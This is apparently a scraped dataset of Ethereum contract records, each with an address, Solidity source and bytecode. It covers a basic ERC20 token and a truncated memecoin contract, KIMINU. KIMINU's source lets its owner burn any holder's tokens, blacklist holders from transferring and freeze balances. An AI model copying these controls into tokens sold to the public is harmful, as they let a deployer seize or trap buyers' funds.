ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610eb157600080fd5b610f02826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f95826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110d782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112d757fe5b818303905092915050565b600081830190508281101515156112f557fe5b809050929150505600a165627a7a723058205a0a61d6680b485112aa6a593b5342075f10c739d9bdc824e350b81d89a0024c0029 | {"success": true, "error": null, "results": {}} | 621 |
0xd53908999f20e52fc888236e75da1406a593f1b7 | pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Tbaol is StandardToken, Ownable {
// Constants
string public constant name = "tbo";
string public constant symbol = "TBO";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 210000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function Tbaol() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
} | 0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600381526020017f74626f000000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a630c8458800281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f54424f000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a723058207309ebce9da4c25898614dd3292c394e7c610efd46b27e21efce2fd1479c76bb0029 | {"success": true, "error": null, "results": {}} | 622 |
0x9868bf5b3f93c26fa92cae966768bfdb277f12d6 | /**
*
Telegram: https://t.me/KIMJONGINU_ETH
Twitter: https://twitter.com/KIMJONGINU_ETH
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract KIMINU is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function addbot(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function dellbot(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
